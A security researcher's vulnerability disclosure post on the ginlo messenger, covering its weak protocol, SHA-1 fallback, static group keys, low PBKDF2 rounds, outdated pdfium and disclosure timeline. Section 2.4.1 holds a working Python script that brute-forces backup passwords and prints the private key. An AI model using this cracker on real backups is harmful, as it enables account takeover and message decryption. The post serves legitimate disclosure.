1 Intro

There’s a German messenger app called ginlo that a few people seem to think (German) is a viable alternative to Signal. On its website, ginlo is advertised as follows:

Protect your messages
With the most secure messenger on the market. Made in Germany.

ginlo uses the strongest algorithms to protect your privacy and all your data. Not just while data is being transferred (end-to-end), but also when it’s on your device. That’s what full encryption means. Even ginlo as a provider doesn’t have any way of accessing your content.

Fully encrypted
Forget end-to-end encryption. The only way to ensure that your data is truly secure is with full encryption by ginlo1.

I wanted to check the validity of those claims. The above advertising copy caused me to believe that they are trying to be a valid alternative to, e.g., Signal, so that’s the bar I set when evaluating the app.

After reporting most of the issues and some further back and forth with the developers, they explained that they have a different target market than Signal and thus different goals for their cryptographic protocol. But why do they then keep the misleading ads on their page?

General notes

ginlo provides no white paper that describes the algorithm. And although there are GitHub repositories that contain the source code of older versions of the Android and iOS apps, those barely contain any comments or documentation. Moreover, the provided Gradle config for Android Studio is broken, which disables all code-analysis features Android Studio usually has.

As such, I mostly base my findings on hours of reading the code by grep’ing through it. I focused mainly on how the app does cryptography and took a cursory look at the bundled dependencies. This is not exhaustive at all, as I did not have the time to investigate some leads.

Please excuse that certain parts of this post are a bit terse. I did not find the time to explain everything, but wanted to make people aware of this app’s shortcomings anyway.

Note on (lack of) proof-of-concepts

As far as I understand, I can’t verify many of the issues by developing proof of concepts because German laws are stupid, and I don’t feel like getting sued. I will try to make the case for why these issues are valid by explaining the affected code. Later ginlo allowed me to debug their app, which is cool. But by that point I had done most of the source code review work already. They also did not directly confirm or reject the majority of the reported issues because I did not provide them with my real identity and did not want to sign an NDA.

2 Identified issues

Ginlo’s terms of use state

  1. The algorithms and processes used for the encryption are regarded as secure pursuant to the latest technical standards (recommendations of the [German] Federal Office for Information Security).

Throughout this post, we will find multiple violations of the terms ginlo put themselves under.

2.1 Outdated Protocol

For messages, ginlo uses Encrypt-then-Sign. It encrypts messages with AES-256-CBC. Signing consists of two parts: It (1) computes the hashes of the message, sender, recipient, and any attachments individually and then (2) concatenates the hashes and signs the result with the 2048-bit RSA identity key. This is done twice, once with SHA-1 and then again with SHA-256. The currently selected hash is used for both (1) and (2).

This protocol has several downsides, apparent in the comparison of various secure messaging protocols by Unger et al. [1], The one used by ginlo fits the “Static Asymmetric Cryptography” approach described in the paper. A shortened overview from the paper is shown in tbl. 1.

The paper lists the following issues that need to additionally be addressed when using static asymmetric crypto:

  • Forward & backward secrecy: missing
  • Destination validation: This is probably mitigated by signing something like \(h(\text{msg}) || \allowbreak h(\text{from}) || \allowbreak h(\text{to}) || \allowbreak h(\text{attm}_{1}) || \allowbreak \dots || \allowbreak h(\text{attm}_{n})\). See buildTextMessage() (and surrounding methods for other MIME types), attachSignature() and getCombinedHashes()
  • Replay attacks: See sec. 2.1.2
  • Participant consistency: I did not look into this.

In ginlo, the identity keys of contacts can be verified by scanning their QR code.

Table 1: Comparing the security and privacy properties of Static Asymmetric Crypto and the 1-on-12 Signal Protocol (Authenticated DH+Double Ratchet+3DH AKE+Prekeys), redrawn and shortened from [1].
: provides property, : partially provides property, : does not provide property
PropertyStatic Asymmetric CryptoSignal Protocol
Confidentiality3
Integrity4
Authentication5
Participant Consistency6
Destination Validation7
Forward Secrecy8
Backward Secrecy9
Anonymity Preserving10
Speaker Consistency11
Causality Preserving12
Global Transcript13
Message Unlinkability14
Message Repudiation15
Participation Repudiation16

Advice

Use the Signal protocol (see, e.g. this guide) or Messaging Layer Security (MLS). For anyone who doesn’t feel like reading the spec, the Security Cryptography Whatever podcast episode with one of the MLS spec’s co-authors is worth a listen. MLS also already has multiple implementations, some of which are open source.

2.1.1 Algorithm selection

Issue overview
ComponentIdentity keys
SeverityInformational
ConfidenceCertain
StatusNot fixed as of 2023-11-13

As shown in lst. 1, ginlo uses 2048-bit RSA keys. The BSI recommends phasing out 2048-bit RSA keys by the end of 2023. I have not found a mechanism for key rotation — but note that that does not necessarily mean that they don’t have code for it somewhere.

Listing 1: Algorithm overview from GitHub.



90public static final int AES_KEY_LENGTH = 256;
91public static final int IV_LENGTH = 128;
92public static final String DERIVE_ALGORITHM_SHA_256 = "PBKDF2WithHmacSHA256";
93
94private static final int RSA_KEY_LENGTH = 2048;
95private static final int ROUNDS_ADMIN_CONSOLE = 8000;
96private static final String SIGNATURE_INSTANCE = "SHA1WithRSA";
97private static final String SIGNATURE_INSTANCE_SHA256 = "SHA256WithRSA";
98private static final String SIGNATURE_ALGORITHM = "SHA1WithRSAEncryption";
99private static final String CN_LOCALHOST = "CN=localhost";
100private static final String DERIVE_ALGORITHM = "PBKDF2WithHmacSHA1";
101private static final String RANDOM_ALGORITHM = "SHA1PRNG";
102private static final String RSA_GEN_ALGORITHM = "RSA";
103private static final String RSA_CIPHER_ALGORITHM = "RSA/ECB/OAEPWithSHA1AndMGF1Padding";
104private static final String AES_GEN_ALGORITHM = "AES";
105private static final String AES_CIPHER_ALGORITHM = "AES/CBC/PKCS5Padding";
106private static final String AES_CIPHER_ALGORITHM_NO_CBC = "AES";
107private static final String AES_CIPHER_ALGORITHM_GCM = "AES/GCM/NoPadding";

Further, NIST classifies RSA 2048 as operating at a security strength of 112 bits, while x25519 and x448, which Signal uses, provide 128 and 224 bits of security, respectively. Signal also just released PQXDH, a quantum resistant extension for the key-exchange, creating an even bigger gap between it and ginlo.

2.1.2 Missing replay protection

Issue overview
Component1-on-1 chats
SeverityMedium
ConfidenceCertain
StatusNot fixed as of 2023-11-13

Ginlo does not sign message identifiers and timestamps, or at least does not verify them on Android. Attackers in a position to perform a machine-in-the-middle (MITM) attack can abuse this to replay messages.

This does not only apply to nation states that can forge valid certificates: Many companies use TLS termination proxies to inspect employee traffic. Attackers that gain access to such a proxy, or ginlo’s servers, could perform this attack. This can also include disgruntled administrators. By shoulder-surfing or looking at people’s lock-screen they can find out the contents of messages they captured, even if they are not part of a conversation, and then replay them at opportune times.

Unknowns
  • Are groups and channels vulnerable to replay attacks?

2.2 Lack of protocol versioning

Issue overview
ComponentProtocol versioning
SeverityInformational
ConfidenceCertain
StatusNot fixed as of 2023-11-13

Looking at lst. 2, it is evident that the protocol lacks a version field. This complicates migrations to new, improved versions of the protocol, as will be apparent in the next issue (sec. 2.2.1).

For a good description of why this is bad, see this post about issues in Threema.

Listing 2: Response to getNewMessages



HTTP/2 200 OK...
Server: nginx
Date: Fri, 22 Sep 2023 20:46:35 GMT
Content-Type: application/json;charset=UTF-8
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
X-Dns-Prefetch-Control: off
Vary: accept-encoding
[
{
"PrivateMessage": {
"senderId": "3000:{621f8a87-0753-48ed-b8f4-7a482c379e1d}",
"from": {...
"0:{10a431c5-44f5-4fb8-b097-b383f941870e}": {
"key": "DCGCmV+v5/XfC91rDrHGSdvYHmQ7rxxEkWd0GZc8r2zPflMCHlEmV1SNkcXYyPVvCcOKvcTGowPavtai3ueHDkKWGNFiNjGm+BOjM+E569ck+0elXhUSb2d1j6ugghmMhUikQPtIPjKI9ctKgVrVhS1FIj52FIbHNaY38jZKwR03yPa54t5PCziHATSVLUSgNUevGpPDmmIJHRIQ6LLTbgfRAyawvpyjnASLV8sqf8IJWLtFd7YzBu2G174uaecYJ9eS7JXBtn/yx4I6ArfHUbaRFNm+NZU2TWjeDXl1iGXxg1zlmaaj0hHpB6rJ7aksRFytBLdA5Oj+vRxjM/tMBA==",
"key2": "Ke2xf9tpGgwRzFPTZR5dfRSN8m3zT3hD5WeVCLoOOpJUUVpdl9kqL8q6RDKKCgnN9iqBDejCdutcLi3W5Rq8n9JvQk262EjKzT9Zk4pLfJ0eX0J3Za5C2B3z+Nh6ng3itrmUNMDntdClA5DWV8bPcUyP2G2R+SlUHw16s7BHvWJrW6buWoqx3yguEef066O20aS/KlBD1eDsxNAb9EihV3sSvG6C1y5mYpz8+Gvd0uUsNsBEXIQqeFCFa3gbbgUAPxVG8rOUyRTfICDCfFR/UIZ+xqhc7XaN0/zH3DNlzJVL4geWezzEnQl3hCDV1GSLO8p4sMWuzUtrLwUM2LWeyA==",
"nickname": "YQ=="
}
},
"to": [...
{
"0:{08118094-8cf4-4a7f-8930-719246162478}": {
"key": "inPuRj3lXCWcZv8eNlsX4ZTDjshPrdrc727v8wi7XdBdbP2uWhF63u+uXfxM8kRmP6nDmMWUmYxSh7AOAMDyWqnUHMPW0DXdBtc0hGScwXPYpgYpsILcYSycbODh1NKAYwfak/uGZA/70xg1lNlJC4QrmSHusQeOtvcTPVN1Mh9V52Anx+NEsuMfbg4/j8CIR/CRoMTvYBEXPUTQ2yvRZo6qU0xsEJPEt66FnO50AIsV1/Jhobxy90KEbcLNj4hN7F2MerRVWPgixqrKGlBZAB8JUbhUoXTzQ+cAYfprjGOoUCTfN0XvR0uGPSDW4tdQpC3f6YNEAEVAO7sEEhDvAA==",
"key2": "fuaEjuirseAYhNamq92M1Lqy9y+v8Xoep9Yascs+y600dyK91iyk7ldf83LQZG7MPQ5MwWYdnRnojG1ZvXvC2huAhGiwkPrinyJj0AxyV6dJmazB2PIfHhuQ6+jjKiWYA6KEYXn2IHTMRJsYeDNiKcJ9MK7/sr94WJ149FbaTBVtKm5zSvHYqvxAIEvskE1s/E+2QbTuX8HX47lZsRCYxDpJZr7cLxiKGBygeIz7ypYcpXbPcFyY85aGviK24vhnEyFEfLIOvNf4gwF83RJoZtbtEoU8YCtEZip45GV+bhuQYvAfliLyWUYplCQd86jNARwzEh+xWn747Z9a/IPKpA=="
}
}
],
"key2-iv": "OibMUew3loiE+I1R6LPjMA==",
"data": "RfkafK3PXdgCi6Xu6nkYhoKT+ExymhvFWlmPlxeCZNCpQHzi8vIRQZVOj3n+ML0Hsgeww5+XUk5aK6mGqRhjcTp+VQZCaIJ+TS9IDZODbX2d+GLEAb+dyRGiydCU1QtxMlUlt3IgHiRL28ZbR0aB5+F4Q1pELyqCPg75KP79Sy7maMt9I73fGcpx37uuJIPf",
"datesend": "2023-09-22 22:45:21.571+0200",
"signature-sha256": {
"hashes": {...
"from/0:{10a431c5-44f5-4fb8-b097-b383f941870e}": "a2f4969b7d621efaf55a3489cb9ebf1792a4bab35e8dbb8bd3d8510ee2772eb7",
"from/0:{10a431c5-44f5-4fb8-b097-b383f941870e}/key": "5086c4b866a824d2127b08924af413d191b246e96834f8493dd65ae66371166e",
"to/0:{08118094-8cf4-4a7f-8930-719246162478}": "ac007deda91477aec7653754f479b364d2e9f190d15d6e95ccc3bd178d991ff2",
"to/0:{08118094-8cf4-4a7f-8930-719246162478}/key": "15cf44a44a59fbedf9744854c65d50afca6894b40c6478c0726f8d258f3f9edb",
"data": "16cb11288ec3e480851ffa8ffc9351648ced5db08e7c2b8a6279934ca1a1dbba"
},
"signature": "OOkjdRW/3L14iFNKVwUnGXLLCrdkVLtnffAnjekHkoMkDx9RR/wjcycFIcNcd/x8tyzXrrowPmhc\neiR64aVZrX15WHO23lH4+ECjyajLIItvBAalesBdvijQb3XtE91Ktfmw8YCAGaMqJafPVDAkARAE\nSoTI0qbg0xdTzGXqljfb0tzbr5iVRlb/oigcoSn3TfUsm7NjfK+/vNC0SusxMNjNclaWMLaVQR+p\nigH34/Gm5+2mTUYFuBiE16Op/2JYYHYl0+ajAkYemAXr8/B8UkaF9ZJjQYwCMsHkUvyW8nDZBl4c\nt70OKiwqMTb5jD9gVYam22MH+rbnJQBFHCW7ww==\n"
},
"signature": {
"hashes": {...
"from/0:{10a431c5-44f5-4fb8-b097-b383f941870e}": "7ac54dc66010124cecdae4936bc596e49f3b2d35",
"from/0:{10a431c5-44f5-4fb8-b097-b383f941870e}/key": "aa5002c4542fd43a7949ab7a66bb7bb64be10010",
"to/0:{08118094-8cf4-4a7f-8930-719246162478}": "8339a8ba3e2a9b9d9f57e3007295493d822c0475",
"to/0:{08118094-8cf4-4a7f-8930-719246162478}/key": "f1b4d31c4aece92dab5d8e6e5c85ead5aae61576",
"data": "1f52d4513b19407443ab80057228271a83ae4331"
},
"signature": "cws7w3YO3e7/JQu4eHQfpHTyisHwg9/aFrDM+qhrC+5EoIEeed/8dXLeeQQb3hdlT+qa1IxAC8Rs\n1nZqzUyoq80SuhzWUmYmWBOKI0Su5UW60lhs2vDPyVqppwBRtVM3F6I8SojNkc+hnkHCb2ptPVb9\ne1v8QGjZcqro5SS65ruRnu4kUO/9XnC+o92uUt/LdZqhFzS7VFG9a2JvEMmwZsic6mOCdegovU8N\naNhBESkTCnmLkjXlencv5Z5ALZYAXYG/CSMm94TMQQG0Sf0Oq0k2Dt5hHekghUR0mHFdgKwxgybL\nrkIQUt56uDP19UQmoidmCEBw+mnnSljiGSnPBw==\n"
},
"messageType": "text/plain",
"attachment": [],
"guid": "100:{621f8a87-0753-48ed-b8f4-7a482c379e1d}",
"pushInfo": "push,sound"
}
}
]

I discovered this issue after reporting the second round of issues. Due to their previous replies, I did not report this to ginlo.

2.2.1 Silent fallback to RSA + SHA-1

Issue overview
ComponentMessage signature verification
CWECWE-327: Use of a Broken or Risky Cryptographic Algorithm
SeverityMedium
ConfidenceLikely
StatusNot fixed as of 2023-11-13
CommentI used CVE-2022-29161, an issue in XWiki, for guidance. Use of RSA+SHA-1 for X509 certificates was rated medium by the XWiki devs and critical by NIST.

In lst. 2 there are both signature and signature-sha256 objects. If the signature-sha256 object is dropped, the app silently falls back to SHA-1, as shown in lst. 3.

Listing 3: Fallback to SHA-1 in getPreviewTextForMessage()



164boolean valid;
165if (decryptedMsg.getMessage() != null && decryptedMsg.getMessage().getSignatureSha256() != null) {
166 valid = checkSignatureSha256(decryptedMsg.getMessage());
167} else {
168 valid = checkSignature(decryptedMsg.getMessage());
169}
170
171if (!valid) {
172 throw new LocalizedException(LocalizedException.CHECK_SIGNATURE_FAILED, "Check Message signature failed.");
173}

This entirely defeats the purpose of the signatures over SHA-256 hashes. While finding a plausible-looking collision in text messages might be unlikely, finding one for documents has already been demonstrated.

I discovered this issue after reporting the second round of issues. Due to their previous replies, I did not report this to ginlo.

2.3 Static AES key & IV pairs in groups

Issue overview
ComponentGroup chats
CWECWE-329: Generation of Predictable IV with CBC Mode
SeverityMedium
ConfidenceLikely
StatusNot fixed as of 2023-11-13
CommentThe chosen plaintext attack mentioned in the CWE article does not apply in this instance, as there is no oracle an attacker who is not part of the group could abuse.

It seems like they set the AES secret key and IV at group creation, as seen in lst. 4, after which it is never updated again. The app sends new members the group AES key and IV as part of their invite (lst. 5). AES is used in CBC mode for encrypting group messages, so this is not a catastrophic failure. The information of which messages start with the same prefix is leaked, however.

As far as I can tell the app also does not rotate group keys after a member leaves or is removed from a group.

Listing 4: CreateGroupTask::doInBackground()



1781protected Void doInBackground(final Void... params) {
1782 try {
1783 final SecretKey aesKey = SecurityUtil.generateAESKey();
1784 final IvParameterSpec iv = SecurityUtil.generateIV();...
1785 final byte[] groupImageBytes;
1786
1787 if (mChatRoomImage != null) {
1788 final Bitmap bitmap = ImageUtil.decodeByteArray(mChatRoomImage);
1789 final Bitmap scaledBitmap = ImageUtil.getScaledImage(mApp.getResources(), bitmap, ImageUtil.SIZE_PROFILE_BIG);
1790 groupImageBytes = ImageUtil.compress(scaledBitmap, 50);
1791 } else {
1792 groupImageBytes = null;
1793 }
1794
1795 final ChatRoomModel chatRoomModel = buildChatRoom(mChatRoomName, mChatRoomType, groupImageBytes, aesKey, iv);
1796 final String groupInvMessagesAsJson = createGroupInvMessagesAsJson(chatRoomModel, aesKey, iv);
1797 // ...

Listing 5: Group invite creation (source).



1466String jsonInviteMsgs = null;
1467if (mAddedMembers != null && mAddedMembers.size() > 0) {...
1468 final ContactController contactController = mApp.getContactController();
1469 final AccountController accountController = mApp.getAccountController();
1470 final KeyController keyController = mApp.getKeyController();
1471 final boolean sendProfileName = mApp.getPreferencesController().getSendProfileName();
1472 final ArrayList<GroupInvMessageModel> groupInvites = new ArrayList<>();
1473 final Account account = accountController.getAccount();
1474 final KeyPair keyPair = keyController.getUserKeyPair();
1475 final SecretKey aesKey = mChat.getChatAESKey();
1476 final IvParameterSpec iv = mChat.getChatInfoIV();
1477
1478 List<Contact> loadedContacts = loadPublicKeys(null, mAddedMembers, contactController);
1479
1480 if (loadedContacts != null) {
1481 for (final Contact contact : loadedContacts) {
1482 try {...
1483 final String title = mChat.getTitle();
1484
1485 final GroupInvMessageModel groupInviteMessageModel = createGroupInvMessage(contactController,
1486 mChat.getChatGuid(), title, mChat.getRoomType(), account, contact, keyPair,
1487 aesKey, iv, sendProfileName);
1488
1489 if (groupInviteMessageModel != null) {
1490 groupInvites.add(groupInviteMessageModel);
1491 }
1492 } catch (final LocalizedException e) {...
1493 LogUtil.w(TAG, e.getMessage(), e);
1494 mHasError = true;
1495 }
1496 }
1497
1498 jsonInviteMsgs = mGson.toJson(groupInvites.toArray(new GroupInvMessageModel[0]), GroupInvMessageModel[].class);
1499 }
1500}

This was discovered and reported after the initial round of vulnerabilities were reported. I did not provide a new deadline for this issue.

Unknowns

  • Can one forge messages of another person?

  • Group membership might be handled by the server? Can the server add or refuse to kick people?

2.4 Use of weak password hash

Issue overview
ComponentBackups, app password, admin console
CWECWE-916: Use of Password Hash With Insufficient Computational Effort
SeverityHigh
ConfidenceLikely
StatusNot fixed as of 2023-11-13

The app uses PBKDF2-SHA256 for hashing passwords. The number of rounds differs, but is always too low.

Since 2020-03-24, the BSI recommends argon2id for password hashing:

[…] If the use of a a cryptographic hardware token for password-based key derivation is not possible, the hash function Argon2id should be used. The security parameters of Argon2id and the requirements for the passwords depend on the application scenario and should be discussed with an expert.

So they are once again not following their own terms.

Regarding rounds, the app uses

OWASP recommends 600’000 iterations.

I did not investigate what exactly createAccountWithMdmData() is used for.

Storage keys

Before the app uses the storage keys, it XORs17 each of them with another key (XorKey) that is generated with Java’s SecureRandom. That doesn’t meet the goal of “full encryption” as defined by ginlo18. It doesn’t sufficiently protect the user if an attacker gains access to the keystore. The keystore is stored on the file system, which presumably includes the XorKeys. An attacker could then brute-force the weak keystore key.

Backup password

As mentioned above, the app uses 80000 rounds for backup passwords. For passwords using 100100 rounds of PBKDF2-SHA256, an RTX 4090 can try 14 million passwords in 3 minutes. ginlo does not store a hash of the password (which is the secret key used to encrypt the backups) in their backups, so it is not as simple as just brute-forcing the hash: the resulting digest needs to be used with AES in CBC mode to decrypt one of the json blobs and then check whether the output is valid json with the expected content.

There is a hashcat implementation of a similar algorithm for VMware VMX files, which use PBKDF2-HMAC-SHA1 + AES-256-CBC (ginlo uses AES-128-CBC). The PBKDF2 rounds used in this module’s benchmark are 10000 instead of ginlo’s 80000 for backups. With the default configuration, an RTX 4090 can do approx. 1MH/s (search for 27400). I don’t feel like spending even more time on this to adjust the above algorithm for ginlo’s data format. I hope it’s obvious that the number of rounds is not enough. \(\frac{1\text{ MH/s}}{80000 / 10000}\approx 125\text{kH/s},\) meaning 125000 tries per second per 4090, is still pretty bad.

What makes the low rounds for backups worse is that backups to iCloud/Google Drive seem to be allowed by default, according to the documentation (see point 29).

So users who store their backups in the cloud and who use a weak backup password (or still have a backup with an old and weak password somewhere) could see their account compromised. Since static asymmetric keys are used, which do not provide forward or backward secrecy, the compromise of the static RSA key is enough to decrypt any of a user’s future or past messages, as well as to impersonate them.

Admin console

The admin console key is likely used for the management cockpit ginlo provides to administrators:

ginlo’s Management Cockpit increases security

Central user management, stronger protection against malware

If the servers are compromised or the operators turn malicious, the keys would be relatively easy19 to brute-force.

Advice

Switch to argon2id and follow the procedure for parameter selection outlined in its RFC.

If PBKDF2 can’t be replaced, switch from SHA-1 to SHA-512 and also follow the procedure outlined in the above RFC. However, be aware that this does not obviate the need for strong passwords.

Unknowns

  • They hardcode a KEYSTORE_PASS at build time. Is that only used if the user does not set a password?

2.4.1 Brute-forcing backup passwords

Ginlo backups are .zip files that contain various json files, two of them are shown below.

Listing 6: Contents of the info.json file. Only the pbkdfSalt field changes between backups. salt seems to be a parameter used to potentially denylist old backups, but is not used for that as of writing.



[
{
"BackupInfo": {
"version": "1",
"app": "ginlo",
"salt": "$2a$04$Dsvymn7LlP1bMlTCuNpd/O",
"pbdkfSalt": "gDeLao6snCY=",
"pbdkfRounds": "80000"
}
}
]

Listing 7: Contents of the decrypted accounts.json file. Data is partially truncated.



[
{
"AccountBackup": {
"guid": "0:{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
"nickname": "a",
"phone": "",
"profileKey": "ll25R...",
"publicKey": "\\u003cRSAKeyValue...",
"accountID": "J5RGG2W3",
"privateKey": "\\u003cRSAKeyValue...",
"mandant": "default",
"backupPasstoken": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}"
}
}
]

Small oddity: When the user restores a backup, the app checks whether the backup’s salt is in the list of allowed salts. The list of allowed salts is set by the BuildConfig.

Here’s a small PoC for brute-forcing backup passwords:

Listing 8: Python proof of concept for brute-forcing ginlo backups. It’s single-threaded python code and thus only does approximately 10000 guesses in 6 minutes. Porting to hashcat would significantly increase the hash rate.



#!/usr/bin/env python3
# slow proof of concept for brute-forcing ginlo backup passwords
# $ 7z x ginlo-backup-$ID.zip
# $ pip install pycryptodome
# $ ./decrypt.py password_list
import hashlib
import json
import base64
import sys
from Cryptodome.Cipher import AES
with open("info.json", "r") as infojson:
info = json.load(infojson)[0]["BackupInfo"]
salt = info["salt"]
pbkdf_salt = base64.b64decode(info["pbdkfSalt"])
pbkdf_rounds = info["pbdkfRounds"]
with open("account.json", "rb") as accountjson:
account_enc = accountjson.read()
iv = account_enc[:16]
with open(sys.argv[1], "r") as pws:
for password in pws:
digest = hashlib.pbkdf2_hmac("sha1", password.encode(), pbkdf_salt, 80000, 32)
cipher = AES.new(digest, AES.MODE_CBC, iv)
account_dec = cipher.decrypt(account_enc[16:])
if account_dec[:20] == b'[{"AccountBackup":{"':
account_json = json.loads(account_dec)[0]["AccountBackup"]
print(f"password: {password}")
print(
f"guid: {account_json['guid']}\n"
f"nickname: {account_json['nickname']}\n"
f"accountID: {account_json['accountID']}\n"
f"privateKey: {account_json['privateKey']}"
)
break

Advice

Enforce the BSI, NIST or the new PCI guidelines. To compare against passwords from past breaches, you can use the Pwned Passwords API from HaveIBeenPwned.

2.5 Bundled PDFium is severely outdated

Issue overview
ComponentAndroidPdfViewer
CWECWE-1104: Use of Unmaintained Third Party Components
SeverityHigh
ConfidenceCertain
StatusFixed in version 5.6.0.0, released on 2023-08-21

The .gitmodules file shows that ginlo uses forks of jitsi-meet and AndroidPdfViewer. The forked AndroidPdfViewer in turn uses a forked PdfiumAndroid. All the forked projects don’t have any additional commits, they’re old snapshots. PdfiumAndroid uses the pdfium library from the Android Open Source Project, the one from Chromium. The last commit in the forked repository was in 2018, to update the library to the one used in Android 7.1.2.

I think it’s safe to assume that the PDF library hasn’t been updated in over 5 years. In the meantime, a number of vulnerabilities were identified in it20. And while there is a setting to switch to use an external app to view PDFs, the user is warned that the file is no longer protected by ginlo in that case. The built-in one is used by default.

PDFRenderer, the OS-provided PDF renderer introduced as part of Android 5.0 (SDK version 21) in 2014, should be used instead of the bundled, ancient version of pdfium. This is also the very same minimum Android version that the app supports.

2.6 Web client code authenticity issues

There appears to be no way for users of the web app to verify that the code they are running has not been tampered with.

An attacker that compromises the server could serve malicious JavaScript to users and compromise their keys and chat history. See also the comment of a Signal dev about this (mirror). Even Facebook provides an extension that can check the authenticity of the WhatsApp, Facebook, Messenger and Instagram websites.

I discovered this issue after reporting the second round of issues. Due to their previous replies, I did not report this to ginlo.

3 Conclusion

For some, ginlo may have privacy upsides compared to its alternatives. Regarding security, while it does not appear to be completely broken, ginlo is lacking compared to Signal and many of its alternatives. It turned out that the app is based on the code of the SIMSme app (German) the German Federal Post Office developed in 2014 and later sold off. The protocol they are using is roughly the same the SIMSme app used almost a decade ago.

Also, using modern cryptography and modern protocols is not the only thing that is important for keeping users secure. You also need to keep up with security updates of your dependencies, or find alternatives if they are unmaintained and unlikely to be entirely free from security issues. Especially so if they parse potentially untrusted input, like PDFs from strangers.

Even Facebook Messenger uses the Signal protocol for its secret conversations [2] (update: in December 2023, they rolled out E2EE by default [3]). So, technically, using Facebook’s Messenger is more secure (not private) than using ginlo.

4 Disclosure Timeline

I omit ginlo’s justifications/explanations because I didn’t ask whether I could share them publicly.

2023‑08‑15Report sent to ginlo with a 90-day deadline.
2023‑08‑16Reply from the team at ginlo, saying they are aware of most of the issues. They ask me to share my identity before sharing more details.
2023‑08‑20I reply, declining the request to share my identity and urge them to at the very least do some of the simpler mitigations, like increasing PBKDF2 rounds. I also recommended to have any fixes reviewed by competent security consultants and tell them to find and look at public reports to find a good company.
2023‑08‑21Release of version 5.6.0.0 that removes pdfium, which was still present in version 5.4.14.0 (see libjniPdfium.so & libmodpdfium.so).
2023‑09‑03I reply with my suspicion about the use of static AES keys & IVs for groups and ask for permission to use frida to confirm the issues I found.
2023‑09‑07The contact at ginlo apologised for the delay, as they were on holidays
2023‑09‑11The contact at ginlo replied to my mail from 2023-09-03 and asks for confirmation that I’m not working for a competitor, in which case they would give me permission to debug their app. They once again offer more details in return for sharing my identity. They note that they removed the outdated PDF library.
2023‑09‑17I reply saying that I’m not working for one of ginlo’s competitors. For work, I’m a security consultant and am in this case doing this on my own personal time.
2023‑09‑21They reply, saying that they don’t mean to advertise ginlo as the most secure messenger on the market. They once again offer more details in return for me signing an NDA. They also said they’d be on holiday for 2 weeks.
2023‑10‑17I reply, citing their advertising copy where they advertise ginlo as the most secure messenger. I add that I do not intend to do my job for free and offer to refer them to my superiors at work if they really want to work with me. They have not replied since.
2023‑11‑13Release of this blog post, 90 days after the initial report.

References

[1]
N. Unger et al., “SoK: Secure Messaging,” in 2015 IEEE Symposium on Security and Privacy, May 2015, pp. 232–249. doi: 10.1109/SP.2015.22.
Cited: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17
[2]
Facebook, Inc., “Messenger Secret Conversations Technical Whitepaper,” May 2017.
Cited: 1
[3]
“Building end-to-end security for Messenger,”Engineering at Meta, Dec. 07, 2023. https://engineering.fb.com/2023/12/06/security/building-end-to-end-security-for-messenger/
Cited: 1

Footnotes

  1. This is an industry practice for which they use the same library Signal uses.↩︎

  2. I do not know whether this specific variant is still in use today. I assume many users have multiple devices, and a chat room with two users and three total devices might already be treated like a group session. The group variant of the Signal protocol fully provides Speaker Consistency but lacks Participant Consistency [1].↩︎

  3. Confidentiality: Only the intended recipient can read the message. Specifically, the message must not be readable by a server operator that is not a conversation participant.” [1]↩︎

  4. Integrity: No honest party will accept a message that has been modified in transit” [1]↩︎

  5. Authentication: Each participant in the conversation receives proof of possession of a known long-term secret from all other participants that they believe to be participating in the conversation. In addition, each participant is able to verify that a message was sent from the claimed source.” [1]↩︎

  6. Participant Consistency: At any point when a message is accepted by an honest party, all honest parties are guaranteed to have the same view of the participant list.”[1]↩︎

  7. Destination Validation: When a message is accepted by an honest party, they can verify that they were included in the set of intended recipients for the message.” [1]↩︎

  8. Forward Secrecy: Compromising all key material does not enable decryption of previously encrypted data.” [1]↩︎

  9. Backward Secrecy: Compromising all key material does not enable decryption of succeeding encrypted data. […]” [1]↩︎

  10. Anonymity Preserving: Any anonymity features provided by the underlying transport privacy architecture are not undermined (e.g., if the transport privacy system provides anonymity, the conversation security level does not deanonymize users by linking key identifiers).” [1]↩︎

  11. Speaker Consistency: All participants agree on the sequence of messages sent by each participant. A protocol might perform consistency checks on blocks of messages during the protocol, or after every message is sent.” [1]↩︎

  12. Causality Preserving: Implementations can avoid displaying a message before messages that causally precede it.” [1]↩︎

  13. “Global Transcript: All participants see all messages in the same order. […]” [1]↩︎

  14. Message Unlinkability: If a judge is convinced that a participant authored one message in the conversation, this does not provide evidence that they authored other messages.” [1]↩︎

  15. Message Repudiation: Given a conversation transcript and all cryptographic keys, there is no evidence that a given message was authored by any particular user. […]” [1]↩︎

  16. Participation Repudiation: Given a conversation transcript and all cryptographic key material for all but one accused participant, there is no evidence that the honest participant was in a conversation with any of the other participants.” [1]↩︎

  17. Keys: SaveKeysTask KeysTask SecurityUtil::deriveCompanyAesKey↩︎

  18. However, that is fine on an Android device that uses file-based encryption (FBE). FBE is required since Android 10. There, FBE protects against most unsophisticated physical attacks and Android’s permissions/sandbox protect the keystore from other apps.↩︎

  19. See e.g. this post about the lastpass breach for some PBKDF-HMAC-SHA256 brute-force attack cost calculations.↩︎

  20. Note: not all of them necessarily apply to the outdated library, some of them have likely been introduced in code that was added later↩︎